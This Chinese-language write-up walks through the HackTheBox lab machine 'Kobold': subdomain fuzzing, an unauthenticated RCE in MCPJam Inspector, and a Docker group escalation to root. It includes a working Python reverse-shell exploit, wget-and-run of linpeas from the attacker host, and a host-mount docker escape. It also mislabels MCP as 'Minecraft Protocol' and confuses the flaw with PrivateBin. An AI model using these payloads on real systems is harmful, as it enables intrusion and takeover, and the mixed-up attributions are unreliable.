HTB靶场第十赛季Kobold(狗头人)

Kobold

  • Easy
  • Linux

一、信息搜集

image-20260330032148405

开启靶机后进行端口扫描

image-20260330040640316

80,443端口,3552端口

nginx/1.24.0 (Ubuntu)

访问80和443端口发现重定向到域名kobold.htb

TLS 认证:kobold.htb, *.kobold.htb

进行子域名枚举,一开始没有枚举出来,换成其他字典进行尝试

image-20260330034306794

使用ffuf进行子域名爆破。ffuf这个工具在需要进行fuzz的字段进行填写FUZZ字段就行

ffuf.exe -u http://10.129.19.199 -k -H "HOST:FUZZ.kobold.htb" -w D:\shengtou\Tools\_Scanner_tools\Tscan无影扫描器\TscanClient_windows\config\SubDict\subdomains-top1million-110000.txt -mc all -c -fs 154 -o jieguo.csv -of csv
参数完整写法含义与作用
-u-url目标 URL指定要测试的基础地址,这里是 http://10.129.19.199(直接访问 IP,通过 HOST 头绑定域名)
-k-insecure忽略 SSL 证书验证允许访问 HTTPS 站点时跳过证书错误(即使目标是 HTTP,加此参数也不影响)
-H-header自定义 HTTP 请求头核心参数:HOST:FUZZ.kobold.htb``FUZZ 是 ffuf 的占位符,工具会自动用字典里的子域名替换它,实现子域名爆破
-w-wordlist指定字典文件路径这里用的是子域名爆破专用字典:subdomains-top1million-110000.txt(11 万条常用子域名)
-mc-match-codes匹配 HTTP 状态码all = 匹配所有状态码(200/30x/40x/50x 全部显示,不过滤任何响应)
-c-color彩色输出让终端结果带颜色区分,更易读(成功、失败、长度不同的结果会用不同颜色)
-fs-filter-size过滤响应包大小过滤掉大小为 154 字节的响应(排除固定长度的无效 / 默认页面,减少干扰)

image-20260330035023370

子域名爆破结果:

子领域地位描述
mcp.kobold.htb200MCP (Node.js:6274)
bin.kobold.htb200PrivateBin 2.0.2(:8080 Docker)

image-20260330041538412

这里无法访问,修改hosts地址使得ip指向域名

10.129.19.199 kobold.htb
10.129.19.199 bin.kobold.htb
10.129.19.199 mcp.kobold.htb

image-20260330041941141

https://kobold.htb/
https://bin.kobold.htb/
https://mcp.kobold.htb/

进行指纹识别

image-20260330042152756

在3552端口发现了登录界面:

http://mcp.kobold.htb:3552/login

image-20260402024852305

image-20260402025046479

MCPJam是一个用于测试和监控MCP(Minecraft Protocol)服务器的工具。它允许开发者和服务器管理员轻松地与MCP服务器进行交互,发送测试请求并分析响应。

漏洞库搜索找到相关漏洞:

image-20260402025421848

二、漏洞利用(CVE-2026-23744)

#下载poc
git clone https://github.com/d0x-awrqxavc/CVE-2026-23744-HACKTHEBOX.git
改一下监听的ip和端口(改成vpn的地址)
#nc建立监听:
nc -lvnp 4444

#执行
python3 exploit.py mcp.kobold.htb

#反弹为完整的shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

image-20260402035749698

获取到user的flag

三、尝试提权

上传linpeas.sh进行信息搜集

我这里采用python开启服务,目标机器wget进行下载

本机开启:

python3 -m http.server 8080

目标:

cd ~

wget http://10.10.17.176:8080/linpeas_fat.sh && chmod 755 linpeas_fat.sh && ./linpeas_fat.sh

image-20260402040616319

如果乱码显示:

# 设置UTF-8

export LANG=en_US.UTF-8

export LC_ALL=en_US.UTF-8

找到nginx反向代理配置:

image-20260402173315223

image-20260402174058286

版本:2.0.2

在PrivateBin开源项目中找到了历史漏洞

脆弱性 **:**MCPJam Inspector ≤ 1.4.2 允许未经认证的 POST 请求,使用 包含任意命令的自定义 serverConfig/api/mcp/connect 发送——从而导致 RCE。

image-20260402173834505

POC:

https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-g2j9-g8r5-rg82

利用exp:(跟换监听的IP和端口)

import requests
import json

TARGET = "https://mcp.kobold.htb"
ATTACKER_IP = "YOUR IP"
ATTACKER_PORT = "4444"

url = f"{TARGET}/api/mcp/connect"

data = {
    "serverConfig": {
        "command": "bash",
        "args": [
            "-c",
            f"nohup bash -i >& /dev/tcp/{ATTACKER_IP}/{ATTACKER_PORT} 0>&1 &"
        ],
        "env": {}
    },
    "serverId": "deadbeefcafe"
}

response = requests.post(url, json=data, verify=False)
print(response.status_code)
print(response.text)

image-20260403153122616

升级shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

权限提升docker逃逸:

image-20260403153354925

image-20260403153513674

乍一看,Ben 不属于 docker 组。然而,运行 newgrp docker 时不会提示输入密码 ,这意味着 ben 的主组被默认允许进入 docker。这样就可以使用docker逃逸

批量查看所有镜像的默认用户

docker images --format "{{.Repository}}:{{.Tag}}" | while read img; do
  user=$(docker inspect -f '{{.Config.User}}' "$img")
  if [ -z "$user" ]; then user="root (root)"; fi
  echo "$img → $user"
done

image-20260403154121244

发现mysql是用root运行,逃逸,并查看root用户flag.txt

docker run -v /:/mnt --rm -it mysql chroot /mnt bash
cat /root/root.txt

image-20260403154410335

至此,通关!